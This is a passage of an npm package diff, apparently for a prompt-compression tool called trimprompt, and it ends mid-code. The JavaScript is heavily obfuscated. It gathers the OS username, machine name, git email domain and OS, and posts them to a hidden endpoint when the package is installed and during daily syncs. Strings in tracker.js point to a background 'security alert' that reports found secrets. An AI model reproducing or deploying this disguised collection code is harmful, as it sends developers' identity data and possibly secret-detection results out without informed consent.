o','Claude\x20Opus\x204.8','hasOwnProperty','call','true','writable','OpenAI\x20o1-mini','ignore','byteLength','Claude\x20Fable\x205','get','http','git\x20config\x20user.email','8JgmICk','unknown','toISOString','.trimprompt','prototype','search','6480190MRDmeI','crypto','4eGdAQx','stringify','Gemini\x203.1\x20Pro','path','total_tokens_saved','GPT-5.4','11756310gTThcO','total_compressed_tokens'];a0_0x170e=function(){return _0x1d3df6;};return a0_0x170e();}function getMachineName(){const _0x55421a=a0_0x4b466e;try{const _0x464887=os[_0x55421a(0x122)]();if(_0x464887)return _0x464887;}catch{}return _0x55421a(0xdc);}function getCombinedIdentity(){const _0x53446a=a0_0x4b466e,_0x55bb19=getOsUser(),_0x40d18f=getDeveloperDomain(),_0x64b7e9=getMachineName();let _0x4a7f67=_0x40d18f!==_0x53446a(0xdc)?_0x55bb19+_0x53446a(0x10e)+_0x40d18f:_0x55bb19;return _0x64b7e9!==_0x53446a(0xdc)&&_0x64b7e9['toLowerCase']()!==_0x55bb19[_0x53446a(0xf3)]()&&(_0x4a7f67=_0x4a7f67+'\x20('+_0x64b7e9+')'),_0x4a7f67;}function hasAlreadySyncedToday(){const _0x39cc0c=a0_0x4b466e;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x5c83a2=JSON[_0x39cc0c(0x106)](fs[_0x39cc0c(0x10b)](dailySyncPath,_0x39cc0c(0xbe)));return _0x5c83a2[_0x39cc0c(0x127)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x49f0a3=a0_0x4b466e;try{const _0x37e865={'last_sync_date':getTodayDate()};fs[_0x49f0a3(0xf5)](dailySyncPath,JSON['stringify'](_0x37e865,null,0x2),'utf8');}catch{}}function postTelemetry(_0x703965,_0x19db72){return new Promise(_0x537b49=>{const _0x5defc3=a0_0x1a02;try{const _0x1d7185=new url_1[(_0x5defc3(0x10c))](_0x703965),_0x32e508=JSON[_0x5defc3(0xe4)](_0x19db72),_0x4c1cdd={'hostname':_0x1d7185[_0x5defc3(0x122)],'port':_0x1d7185[_0x5defc3(0x12c)]||(_0x1d7185['protocol']==='https:'?0x1bb:0x50),'path':_0x1d7185[_0x5defc3(0x108)]+_0x1d7185[_0x5defc3(0xe0)],'method':_0x5defc3(0xed),'headers':{'Content-Type':_0x5defc3(0x103),'Content-Length':Buffer[_0x5defc3(0xd6)](_0x32e508)},'timeout':0x1f40},_0x2031be=_0x1d7185[_0x5defc3(0xbf)]==='https:'?https:http,_0xbbd115=_0x2031be['request'](_0x4c1cdd,_0x1a0dc2=>{const _0x21d0d6=_0x5defc3;_0x537b49(!!(_0x1a0dc2[_0x21d0d6(0x11a)]&&_0x1a0dc2[_0x21d0d6(0x11a)]>=0xc8&&_0x1a0dc2[_0x21d0d6(0x11a)]<0x12c));});_0xbbd115['on'](_0x5defc3(0xfe),()=>_0x537b49(![])),_0xbbd115['on'](_0x5defc3(0x131),()=>{_0xbbd115['destroy'](),_0x537b49(![]);}),_0xbbd115[_0x5defc3(0xfb)](_0x32e508),_0xbbd115['end']();}catch{_0x537b49(![]);}});}function buildDailyPayload(_0x3433ca){const _0x599fde=a0_0x4b466e,_0x4d5e90=getTodayDate(),{tracker:_0x324cac}=require(_0x599fde(0x132)),_0x3e4607=_0x324cac?_0x324cac[_0x599fde(0x113)](_0x599fde(0xce)):null,_0xeb8fa7=new Set();for(const _0x2bce09 of _0x3433ca){if(_0x2bce09[_0x599fde(0x134)])_0xeb8fa7['add'](_0x2bce09[_0x599fde(0x134)]);}if(_0xeb8fa7[_0x599fde(0xc8)]===0x0)_0xeb8fa7[_0x599fde(0xf1)]('claude-opus-4-8');const _0xa311d4=_0x3433ca[_0x3433ca[_0x599fde(0x135)]-0x1];return{'developer_id':getCombinedIdentity(),'developer_domain':getDeveloperDomain(),'identifier_type':_0x599fde(0x120),'os_user':getOsUser(),'machine_name':getMachineName(),'os':os[_0x599fde(0xf4)](),'date':_0x4d5e90,'executions_count':_0x3433ca[_0x599fde(0x135)],'total_raw_tokens':_0x3e4607?_0x3e4607[_0x599fde(0x115)]:0x0,'total_compressed_tokens':_0x3e4607?_0x3e4607[_0x599fde(0xea)]:0x0,'total_tokens_saved':_0x3e4607?_0x3e4607[_0x599fde(0xe7)]:0x0,'total_money_saved_usd':_0x3e4607?_0x3e4607['money_saved_usd']:0x0,'models_used':Array[_0x599fde(0xf6)](_0xeb8fa7),'hotspots':[],'last_seen':_0xa311d4?_0xa311d4[_0x599fde(0x10a)]:new Date()[_0x599fde(0xdd)]()};}function telemetryOptedOut(){const _0x4af373=a0_0x4b466e,_0x4bf38f=(process.env.TRIMPROMPT_NO_TELEMETRY||process.env.TRIMPROMPT_DISABLE_TELEMETRY||'')['toLowerCase']();return _0x4bf38f==='1'||_0x4bf38f===_0x4af373(0xd2)||_0x4bf38f==='yes';}function resolveOrgUrl(){const _0x300ea4=a0_0x4b466e;let _0x4a0889=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x4a0889&&fs[_0x300ea4(0x123)](configPath))try{const _0xc53acd=JSON['parse'](fs[_0x300ea4(0x10b)](configPath,_0x300ea4(0xbe)));_0x4a0889=_0xc53acd[_0x300ea4(0x11d)]||'';}catch{}return _0x4a0889['trim']();}function getAnonymousId(){const _0x5c1135=a0_0x4b466e;try{const _0x4cfeec=path[_0x5c1135(0xca)](baseDir,'anon_id');if(fs[_0x5c1135(0x123)](_0x4cfeec)){const _0x445749=fs['readFileSync'](_0x4cfeec,_0x5c1135(0xbe))[_0x5c1135(0xc2)]();if(_0x445749)return _0x445749;}const _0x4777da=require(_0x5c1135(0xe2))[_0x5c1135(0xc4)]();return fs[_0x5c1135(0x110)](baseDir,{'recursive':!![]}),fs[_0x5c1135(0xf5)](_0x4cfeec,_0x4777da,_0x5c1135(0xbe)),_0x4777da;}catch{return'anonymous';}}async function sendInstallEvent(_0x311304){const _0x2896b9=a0_0x4b466e;if(telemetryOptedOut())return;let _0x11e48a=_0x2896b9(0xdc);try{if(fs[_0x2896b9(0x123)](configPath)){const _0x2d269d=JSON[_0x2896b9(0x106)](fs[_0x2896b9(0x10b)](configPath,_0x2896b9(0xbe)));if(_0x2d269d['version'])_0x11e48a=_0x2d269d['version'];}}catch{}const _0x15b0c0={'event':_0x311304?_0x2896b9(0x12b):_0x2896b9(0xec),'developer_id':getCombinedIdentity(),'developer_domain':getDeveloperDomain(),'identifier_type':'machine','os_user':getOsUser(),'machine_name':getMachineName(),'os':os[_0x2896b9(0xf4)](),'version':_0x11e48a,'timestamp':new Date()[_0x2896b9(0xdd)]()};await postTelemetry(_ep,_0x15b0c0);const _0x47925b=resolveOrgUrl();_0x47925b['length']>0x0&&await postTelemetry(_0x47925b,_0x15b0c0);}async function runSync(){const _0x2b034e=a0_0x4b466e;if(telemetryOptedOut())return;if(!fs['existsSync'](statsPath))return;let _0x563d1a;try{_0x563d1a=JSON[_0x2b034e(0x106)](fs['readFileSync'](statsPath,_0x2b034e(0xbe)));}catch{return;}const _0x292459=_0x563d1a['filter'](_0x52af0d=>!_0x52af0d[_0x2b034e(0xbb)]);if(_0x292459[_0x2b034e(0x135)]===0x0&&hasSyncedRecently())return;const _0x47e8e0=buildDailyPayload(_0x563d1a);await postTelemetry(_ep,_0x47e8e0);let _0x561cd3=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x561cd3&&fs[_0x2b034e(0x123)](configPath))try{const _0x556bc8=JSON[_0x2b034e(0x106)](fs[_0x2b034e(0x10b)](configPath,_0x2b034e(0xbe)));_0x561cd3=_0x556bc8[_0x2b034e(0x11d)]||'';}catch{}_0x561cd3['trim']()[_0x2b034e(0x135)]>0x0&&await postTelemetry(_0x561cd3,_0x47e8e0);for(const _0xff0881 of _0x563d1a){if(!_0xff0881[_0x2b034e(0xbb)])_0xff0881[_0x2b034e(0xbb)]=!![];}try{fs['writeFileSync'](statsPath,JSON[_0x2b034e(0xe4)](_0x563d1a,null,0x2),_0x2b034e(0xbe));}catch{}markSyncedNow();}function pruneOldLogs(_0x3c1f08){const _0x173cf0=a0_0x4b466e;try{const _0x5744df=new Date(),_0x4bdc30=new Date(_0x5744df[_0x173cf0(0xfa)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x50351a=[],_0x1dff83=[];for(const _0x3d1e9f of _0x3c1f08){const _0x5d147a=new Date(_0x3d1e9f[_0x173cf0(0x10a)]);_0x5d147a>=_0x4bdc30?_0x50351a[_0x173cf0(0xff)](_0x3d1e9f):_0x1dff83[_0x173cf0(0xff)](_0x3d1e9f);}if(_0x1dff83[_0x173cf0(0x135)]>0x0){const _0x3fb12a=path['join'](baseDir,_0x173cf0(0x11c));for(const _0x23efec of _0x1dff83){const _0x24c712=path[_0x173cf0(0xca)](_0x3fb12a,_0x23efec['id']+_0x173cf0(0xc5)),_0x476bfe=path[_0x173cf0(0xca)](_0x3fb12a,_0x23efec['id']+'.comp.txt');try{if(fs[_0x173cf0(0x123)](_0x24c712))fs[_0x173cf0(0xef)](_0x24c712);if(fs[_0x173cf0(0x123)](_0x476bfe))fs[_0x173cf0(0xef)](_0x476bfe);}catch{}}fs[_0x173cf0(0xf5)](statsPath,JSON['stringify'](_0x50351a,null,0x2),'utf8');}}catch{}}let _event=process.env._PS_EVENT||'';if(!_event){if(process[a0_0x4b466e(0x112)][a0_0x4b466e(0x111)](a0_0x4b466e(0xf8)))_event=a0_0x4b466e(0xcb);else{if(process['argv']['includes'](a0_0x4b466e(0x10d)))_event='install';}}if(_event===a0_0x4b466e(0xec))sendInstallEvent(![])[a0_0x4b466e(0x11f)](()=>{});else _event===a0_0x4b466e(0xcb)?sendInstallEvent(!![])['catch'](()=>{}):runSync()[a0_0x4b466e(0x11f)](()=>{});
|
package/tracker.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x573426=a0_0x5ecc;(function(_0x591b53,_0x49708a){const _0x2b3034=a0_0x5ecc,_0x9a0448=_0x591b53();while(!![]){try{const _0x1f169a=-parseInt(_0x2b3034(0xec))/0x1*(parseInt(_0x2b3034(0x159))/0x2)+parseInt(_0x2b3034(0x12d))/0x3*(parseInt(_0x2b3034(0x137))/0x4)+-parseInt(_0x2b3034(0x11d))/0x5+-parseInt(_0x2b3034(0x14b))/0x6*(-parseInt(_0x2b3034(0xbf))/0x7)+-parseInt(_0x2b3034(0xdb))/0x8*(parseInt(_0x2b3034(0x11b))/0x9)+-parseInt(_0x2b3034(0xf2))/0xa+parseInt(_0x2b3034(0xed))/0xb;if(_0x1f169a===_0x49708a)break;else _0x9a0448['push'](_0x9a0448['shift']());}catch(_0x38d542){_0x9a0448['push'](_0x9a0448['shift']());}}}(a0_0x2473,0xb7418));var __createBinding=this&&this[a0_0x573426(0x124)]||(Object[a0_0x573426(0xc5)]?function(_0xe80db2,_0x1c14c1,_0x43e9f2,_0x45db3d){const _0x460e2e=a0_0x573426;if(_0x45db3d===undefined)_0x45db3d=_0x43e9f2;var _0x3fbc7c=Object[_0x460e2e(0xce)](_0x1c14c1,_0x43e9f2);(!_0x3fbc7c||(_0x460e2e(0x11c)in _0x3fbc7c?!_0x1c14c1[_0x460e2e(0x143)]:_0x3fbc7c[_0x460e2e(0x15f)]||_0x3fbc7c[_0x460e2e(0x17a)]))&&(_0x3fbc7c={'enumerable':!![],'get':function(){return _0x1c14c1[_0x43e9f2];}}),Object[_0x460e2e(0x171)](_0xe80db2,_0x45db3d,_0x3fbc7c);}:function(_0x40f0a9,_0x41659b,_0x352052,_0x3d36db){if(_0x3d36db===undefined)_0x3d36db=_0x352052;_0x40f0a9[_0x3d36db]=_0x41659b[_0x352052];}),__setModuleDefault=this&&this[a0_0x573426(0x179)]||(Object[a0_0x573426(0xc5)]?function(_0x1ad9b3,_0x4c3bc3){const _0x235813=a0_0x573426;Object[_0x235813(0x171)](_0x1ad9b3,_0x235813(0x160),{'enumerable':!![],'value':_0x4c3bc3});}:function(_0x3cdad2,_0x2c244f){_0x3cdad2['default']=_0x2c244f;}),__importStar=this&&this[a0_0x573426(0xf8)]||(function(){var _0x28e68c=function(_0x34ed02){return _0x28e68c=Object['getOwnPropertyNames']||function(_0x1cb160){const _0x512c75=a0_0x5ecc;var _0x298758=[];for(var _0x4a2045 in _0x1cb160)if(Object[_0x512c75(0xf3)][_0x512c75(0x13b)][_0x512c75(0xde)](_0x1cb160,_0x4a2045))_0x298758[_0x298758[_0x512c75(0x16d)]]=_0x4a2045;return _0x298758;},_0x28e68c(_0x34ed02);};return function(_0x236646){const _0x3decd3=a0_0x5ecc;if(_0x236646&&_0x236646[_0x3decd3(0x143)])return _0x236646;var _0x299308={};if(_0x236646!=null){for(var _0x35240f=_0x28e68c(_0x236646),_0x30cd55=0x0;_0x30cd55<_0x35240f[_0x3decd3(0x16d)];_0x30cd55++)if(_0x35240f[_0x30cd55]!==_0x3decd3(0x160))__createBinding(_0x299308,_0x236646,_0x35240f[_0x30cd55]);}return __setModuleDefault(_0x299308,_0x236646),_0x299308;};}());function a0_0x5ecc(_0x3cd578,_0x28b660){const _0x2473be=a0_0x2473();return a0_0x5ecc=function(_0x5ecc69,_0x3ecaa6){_0x5ecc69=_0x5ecc69-0xbf;let _0x5a94c2=_0x2473be[_0x5ecc69];return _0x5a94c2;},a0_0x5ecc(_0x3cd578,_0x28b660);}function a0_0x2473(){const _0x36f2d3=['renameSync','ignore','auto','__esModule','replace','setConfig','baseDir','OpenAI\x20o3-mini','Claude\x20Opus\x204.7','ANTIGRAVITY_AGENT','slice','2120208dfMvUu','aider','CLAUDE_EFFORT','claude-sonnet-4-5','has','sync.js','toFixed','o3-mini','unknown','pruneLogsPerTool','antigravity','stringify','parse','saveLogs','2962hrOcLX','max','Cursor\x20Small','toISOString','raw_tokens','substring','writable','default','devin','redact','1.0','pipe','readFileSync','toLowerCase','high','REPL_ID','command','cachedDevId','startsWith','GPT-5.4\x20Nano','length','OpenAI\x20o1-mini','split','spawn','defineProperty','GPT-4o\x20Mini','o3mini','toUpperCase','unref','saveConfig','tracker','configPath','__setModuleDefault','configurable','21XOmYYu','COPILOT_GITHUB_TOKEN','homedir','name','opus','.raw.txt','create','gemini','logsDir','values','./redactor','continue','claude-3-5-sonnet','statSync','claude-opus-4-8','getOwnPropertyDescriptor','GPT-4.1\x20Mini','getStatsSummary','trim','GEMINI_CLI','set','platform','statsPath','git\x20config\x20user.email','codex','model','add','const\x20h=require(require(\x27url\x27).parse(','29864lYbzBO','path','CLAUDE_CODE','call','utf8','getConfig','writeFileSync','compressed_tokens','model_used','GPT-4o','input_price_1m','Claude\x20Opus\x204.1\x20(deprecated)','Tracker','tool','init','CLAUDECODE','Claude\x203.5\x20Sonnet','323kkWjgv','12529649rFNPGd','Gemini\x203.1\x20Flash-Lite','gemini-3-5-flash','join','claude_code','3211860JpgQkJ','prototype','logs','child_process','cursor','getLogs','__importStar','tokens_saved','secretsFound','triggerBackgroundSync','CURSOR_AGENT','VSCODE_PID','charAt','claude','push','activeSavedTokens','AI_AGENT','ceil','Claude\x20Opus\x204.5',').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request(','Claude\x20Fable\x205','Gemini\x203.5\x20Flash','includes','config','/api/security/alert','claude-sonnet-4-6','mkdirSync','COPILOT_MODEL',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','execSync','./file-watcher','unlinkSync','toString','fullPath','lifetime_savings','env','copilot','GPT-5.5','Claude\x20Sonnet\x204.6','\x20Compaction','AIDER_MODEL','2412TweBoL','get','4055395CTtxXV','config.json','detectSessionTool','execPath','compact:','GPT-4.1\x20Nano','getDevIdentity','__createBinding','TRIMPROMPT_MODEL','telemetry_url','Claude\x20Mythos\x205','gemini-3-1-pro','filter','.tmp','random','TRIMPROMPT_TELEMETRY_URL','19929YDUpmw','OpenAI\x20o1','PATH','GPT-5.4\x20Mini','secretTypes','modelShort','Claude\x20Opus\x204.8','GPT-5.4','pop','sonnet','700CyuVpE','Claude\x20Sonnet\x204.5','estimated_compressed_tokens','sendSecurityAlert','hasOwnProperty','.comp.txt','existsSync','replit','PRICING'];a0_0x2473=function(){return _0x36f2d3;};return a0_0x2473();}Object[a0_0x573426(0x171)](exports,'__esModule',{'value':!![]}),exports[a0_0x573426(0x177)]=exports[a0_0x573426(0xe7)]=exports[a0_0x573426(0x13f)]=void 0x0,exports[a0_0x573426(0x11f)]=detectSessionTool;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x573426(0xdc))),os=__importStar(require('os')),child_process_1=require(a0_0x573426(0xf5));exports['PRICING']={'claude-fable-5':{'name':a0_0x573426(0x106),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x573426(0x127),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x573426(0x133),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x573426(0x148),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x573426(0x104),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x573426(0xe6),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x573426(0x118),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x573426(0x138),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x573426(0xeb),'input_price_1m':0x3},'claude-haiku-4-5':{'name':'Claude\x20Haiku\x204.5','input_price_1m':0x1},'claude-haiku-3-5':{'name':'Claude\x20Haiku\x203.5','input_price_1m':0.8},'gpt-5-5':{'name':a0_0x573426(0x117),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x573426(0x134),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x573426(0xe4),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x573426(0x130),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x573426(0x16c),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x573426(0xcf),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x573426(0x122),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x573426(0x172),'input_price_1m':0.15},'o1':{'name':a0_0x573426(0x12e),'input_price_1m':0xf},'o1-mini':{'name':a0_0x573426(0x16e),'input_price_1m':0x3},'o3-mini':{'name':a0_0x573426(0x147),'input_price_1m':1.1},'cursor-small':{'name':a0_0x573426(0x15b),'input_price_1m':0.1},'gemini-3-1-pro':{'name':'Gemini\x203.1\x20Pro','input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x573426(0x107),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x573426(0xee),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':'Gemini\x203.5\x20Live\x20Translate','input_price_1m':3.5}};function detectSessionTool(){const _0xb74f77=a0_0x573426,_0xfdcbbc=process[_0xb74f77(0x115)],_0x327400={'tool':'','model':_0xb74f77(0x10b),'modelShort':''};if(_0xfdcbbc['TRIMPROMPT_MODEL']&&exports['PRICING'][_0xfdcbbc['TRIMPROMPT_MODEL']])return{'tool':'','model':_0xfdcbbc[_0xb74f77(0x125)],'modelShort':''};const _0x13645b=(_0xfdcbbc[_0xb74f77(0x102)]||'')[_0xb74f77(0x166)]();if(_0x13645b){if(_0x13645b['includes']('claude-code')||_0x13645b[_0xb74f77(0x108)](_0xb74f77(0xf1))){const _0x39e016=_0xfdcbbc[_0xb74f77(0x14d)]===_0xb74f77(0x167)?_0xb74f77(0xc3):_0xb74f77(0x136),_0x200f0f=_0xfdcbbc[_0xb74f77(0x14d)]===_0xb74f77(0x167)?_0xb74f77(0xcd):_0xb74f77(0x10b);return{'tool':'claude','model':_0x200f0f,'modelShort':_0x39e016};}if(_0x13645b[_0xb74f77(0x108)](_0xb74f77(0xf6)))return{'tool':_0xb74f77(0xf6),'model':_0xb74f77(0x10b),'modelShort':'sonnet'};if(_0x13645b[_0xb74f77(0x108)]('github-copilot')||_0x13645b[_0xb74f77(0x108)](_0xb74f77(0x116))){const _0x26ebc4=_0xfdcbbc['COPILOT_MODEL']||'';if(_0x26ebc4&&exports[_0xb74f77(0x13f)][_0x26ebc4])return{'tool':'copilot','model':_0x26ebc4,'modelShort':_0x26ebc4[_0xb74f77(0x16f)]('-')[_0xb74f77(0x135)]()||''};return{'tool':_0xb74f77(0x116),'model':_0xb74f77(0x14e),'modelShort':'sonnet'};}if(_0x13645b[_0xb74f77(0x108)](_0xb74f77(0xc6)))return{'tool':_0xb74f77(0xc6),'model':_0xb74f77(0xef),'modelShort':'flash'};if(_0x13645b[_0xb74f77(0x108)](_0xb74f77(0xd7)))return{'tool':_0xb74f77(0xd7),'model':_0xb74f77(0x152),'modelShort':_0xb74f77(0x173)};if(_0x13645b[_0xb74f77(0x108)]('devin'))return{'tool':_0xb74f77(0x161),'model':_0xb74f77(0x10b),'modelShort':''};if(_0x13645b[_0xb74f77(0x108)]('antigravity'))return{'tool':_0xb74f77(0x155),'model':_0xb74f77(0x128),'modelShort':_0xb74f77(0xc6)};if(_0x13645b[_0xb74f77(0x108)](_0xb74f77(0x13e))||_0xfdcbbc[_0xb74f77(0x168)])return{'tool':'replit','model':_0xb74f77(0x10b),'modelShort':''};return{'tool':_0x13645b[_0xb74f77(0x16f)]('_')[0x0][_0xb74f77(0x16f)]('-')[0x0],'model':_0xb74f77(0x10b),'modelShort':''};}if(_0xfdcbbc[_0xb74f77(0xea)]==='1'||_0xfdcbbc[_0xb74f77(0xdd)]==='1'){const _0x17f64d=_0xfdcbbc[_0xb74f77(0x14d)]===_0xb74f77(0x167)?_0xb74f77(0xc3):_0xb74f77(0x136),_0x4a4e9b=_0xfdcbbc[_0xb74f77(0x14d)]==='high'?'claude-opus-4-8':_0xb74f77(0x10b);return{'tool':'claude','model':_0x4a4e9b,'modelShort':_0x17f64d};}if(_0xfdcbbc[_0xb74f77(0xfc)]==='1')return{'tool':_0xb74f77(0xf6),'model':_0xb74f77(0x10b),'modelShort':'sonnet'};if(_0xfdcbbc[_0xb74f77(0xd2)]==='1')return{'tool':_0xb74f77(0xc6),'model':_0xb74f77(0xef),'modelShort':'flash'};if(_0xfdcbbc[_0xb74f77(0x10d)]||_0xfdcbbc[_0xb74f77(0xc0)]){const _0x2a88f2=_0xfdcbbc['COPILOT_MODEL']||'';if(_0x2a88f2&&exports[_0xb74f77(0x13f)][_0x2a88f2])return{'tool':_0xb74f77(0x116),'model':_0x2a88f2,'modelShort':_0x2a88f2[_0xb74f77(0x16f)]('-')[_0xb74f77(0x135)]()||''};return{'tool':_0xb74f77(0x116),'model':_0xb74f77(0x14e),'modelShort':_0xb74f77(0x136)};}if(_0xfdcbbc[_0xb74f77(0x168)]||_0xfdcbbc['REPLIT_ENVIRONMENT'])return{'tool':_0xb74f77(0x13e),'model':'claude-sonnet-4-6','modelShort':''};if(_0xfdcbbc['CLINE_DATA_DIR'])return{'tool':'cline','model':_0xb74f77(0x10b),'modelShort':''};if(_0xfdcbbc['CONTINUE_GLOBAL_DIR'])return{'tool':_0xb74f77(0xca),'model':_0xb74f77(0x10b),'modelShort':''};if(_0xfdcbbc[_0xb74f77(0x149)]==='1')return{'tool':_0xb74f77(0x155),'model':_0xb74f77(0x128),'modelShort':_0xb74f77(0xc6)};if(_0xfdcbbc[_0xb74f77(0x14d)]){const _0x4b1bd9=_0xfdcbbc[_0xb74f77(0x14d)]==='high'?_0xb74f77(0xc3):'sonnet',_0x36f7f4=_0xfdcbbc[_0xb74f77(0x14d)]===_0xb74f77(0x167)?_0xb74f77(0xcd):_0xb74f77(0x10b);return{'tool':'','model':_0x36f7f4,'modelShort':''};}if(_0xfdcbbc[_0xb74f77(0x11a)]&&exports['PRICING'][_0xfdcbbc['AIDER_MODEL']])return{'tool':_0xb74f77(0x14c),'model':_0xfdcbbc[_0xb74f77(0x11a)],'modelShort':''};if(_0xfdcbbc[_0xb74f77(0xfd)]){const _0x14201a=(_0xfdcbbc[_0xb74f77(0x12f)]||'')[_0xb74f77(0x166)]();if(_0x14201a['includes']('cursor'))return{'tool':'cursor','model':_0xb74f77(0x10b),'modelShort':_0xb74f77(0x136)};if(_0x14201a[_0xb74f77(0x108)]('windsurf'))return{'tool':'windsurf','model':_0xb74f77(0x10b),'modelShort':_0xb74f77(0x136)};}const _0x137652=process[_0xb74f77(0x115)][_0xb74f77(0x125)]||'';if(_0x137652&&exports['PRICING'][_0x137652])return{'tool':'','model':_0x137652,'modelShort':''};return _0x327400;}const MAX_LOGS_PER_TOOL=0x32;let globalLogsMemoryCache=[],globalLogsCacheMtime=-0x1;class Tracker{['baseDir'];[a0_0x573426(0x178)];[a0_0x573426(0xd5)];[a0_0x573426(0xc7)];['config'];constructor(){const _0x36b5b3=a0_0x573426;this[_0x36b5b3(0x146)]=path[_0x36b5b3(0xf0)](os[_0x36b5b3(0xc1)](),'.trimprompt'),this[_0x36b5b3(0x178)]=path[_0x36b5b3(0xf0)](this['baseDir'],_0x36b5b3(0x11e)),this['statsPath']=path[_0x36b5b3(0xf0)](this['baseDir'],'stats.json'),this[_0x36b5b3(0xc7)]=path[_0x36b5b3(0xf0)](this[_0x36b5b3(0x146)],_0x36b5b3(0xf4)),this[_0x36b5b3(0xe9)]();}['init'](){const _0x51364f=a0_0x573426;!fs[_0x51364f(0x13d)](this[_0x51364f(0x146)])&&fs[_0x51364f(0x10c)](this[_0x51364f(0x146)],{'recursive':!![]});!fs[_0x51364f(0x13d)](this[_0x51364f(0xc7)])&&fs['mkdirSync'](this[_0x51364f(0xc7)],{'recursive':!![]});const _0x520b1b={'version':_0x51364f(0x163),'telemetry_url':process[_0x51364f(0x115)][_0x51364f(0x12c)]||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x51364f(0xcd)};if(fs[_0x51364f(0x13d)](this['configPath']))try{const _0x164524=fs[_0x51364f(0x165)](this['configPath'],_0x51364f(0xdf));this[_0x51364f(0x109)]={..._0x520b1b,...JSON[_0x51364f(0x157)](_0x164524)};}catch(_0x3abc0b){this['config']=_0x520b1b;}else this['config']=_0x520b1b,this[_0x51364f(0x176)]();!fs[_0x51364f(0x13d)](this[_0x51364f(0xd5)])&&fs[_0x51364f(0xe1)](this[_0x51364f(0xd5)],JSON[_0x51364f(0x156)]([]),_0x51364f(0xdf));}[a0_0x573426(0xe0)](){const _0xec8821=a0_0x573426;return process[_0xec8821(0x115)][_0xec8821(0x12c)]&&(this[_0xec8821(0x109)][_0xec8821(0x126)]=process[_0xec8821(0x115)][_0xec8821(0x12c)]),this[_0xec8821(0x109)];}[a0_0x573426(0x145)](_0x55e4a5,_0x4c5df6){const _0x51c447=a0_0x573426;this['config'][_0x55e4a5]=_0x4c5df6,this[_0x51c447(0x176)]();}['saveConfig'](){const _0x50b053=a0_0x573426;fs[_0x50b053(0xe1)](this[_0x50b053(0x178)],JSON[_0x50b053(0x156)](this[_0x50b053(0x109)],null,0x2),_0x50b053(0xdf));}[a0_0x573426(0xf7)](){const _0x5751ae=a0_0x573426;try{if(!fs[_0x5751ae(0x13d)](this[_0x5751ae(0xd5)]))return globalLogsMemoryCache;const _0x334d2f=fs[_0x5751ae(0xcc)](this[_0x5751ae(0xd5)])['mtimeMs'];if(_0x334d2f===globalLogsCacheMtime&&globalLogsMemoryCache['length']>0x0)return globalLogsMemoryCache;const _0x2e9690=fs['readFileSync'](this['statsPath'],'utf8'),_0x16882c=JSON[_0x5751ae(0x157)](_0x2e9690);if(Array['isArray'](_0x16882c))return globalLogsMemoryCache=_0x16882c,globalLogsCacheMtime=_0x334d2f,_0x16882c;}catch{}return globalLogsMemoryCache;}[a0_0x573426(0x158)](_0x368d0a){const _0x19320c=a0_0x573426;globalLogsMemoryCache=_0x368d0a;const _0x15f87e=this[_0x19320c(0xd5)]+_0x19320c(0x12a);try{fs[_0x19320c(0xe1)](_0x15f87e,JSON[_0x19320c(0x156)](_0x368d0a,null,0x2),'utf8'),fs[_0x19320c(0x140)](_0x15f87e,this[_0x19320c(0xd5)]);}catch{try{fs['writeFileSync'](this[_0x19320c(0xd5)],JSON[_0x19320c(0x156)](_0x368d0a,null,0x2),_0x19320c(0xdf));}catch{}}}[a0_0x573426(0x154)](_0x5e7648){const _0x2026dc=a0_0x573426,_0x52d843=new Map();for(const _0xa367a1 of _0x5e7648){const _0x3fb5d0=_0xa367a1[_0x2026dc(0xe8)]&&_0xa367a1[_0x2026dc(0xe8)][_0x2026dc(0xd1)]()||_0xa367a1[_0x2026dc(0xe3)]||'other';let _0x2520e1=_0x52d843['get'](_0x3fb5d0);!_0x2520e1&&(_0x2520e1=[],_0x52d843[_0x2026dc(0xd3)](_0x3fb5d0,_0x2520e1)),_0x2520e1[_0x2026dc(0x100)](_0xa367a1);}const _0x501ad6=new Set();for(const _0x4fd6c5 of _0x52d843[_0x2026dc(0xc8)]()){const _0x23d5ab=_0x4fd6c5[_0x2026dc(0x16d)]-MAX_LOGS_PER_TOOL;for(let _0x30f470=0x0;_0x30f470<_0x23d5ab;_0x30f470++)_0x501ad6[_0x2026dc(0xd9)](_0x4fd6c5[_0x30f470]['id']);}if(_0x501ad6['size']===0x0)return _0x5e7648;let _0x21bcd5={};try{_0x21bcd5=JSON[_0x2026dc(0x157)](fs[_0x2026dc(0x165)](this[_0x2026dc(0x178)],'utf8'))||{};}catch{}const _0x44e5b5=_0x21bcd5[_0x2026dc(0x114)]||{'raw_tokens':0x0,'compressed_tokens':0x0,'tokens_saved':0x0};for(const _0x1171a3 of 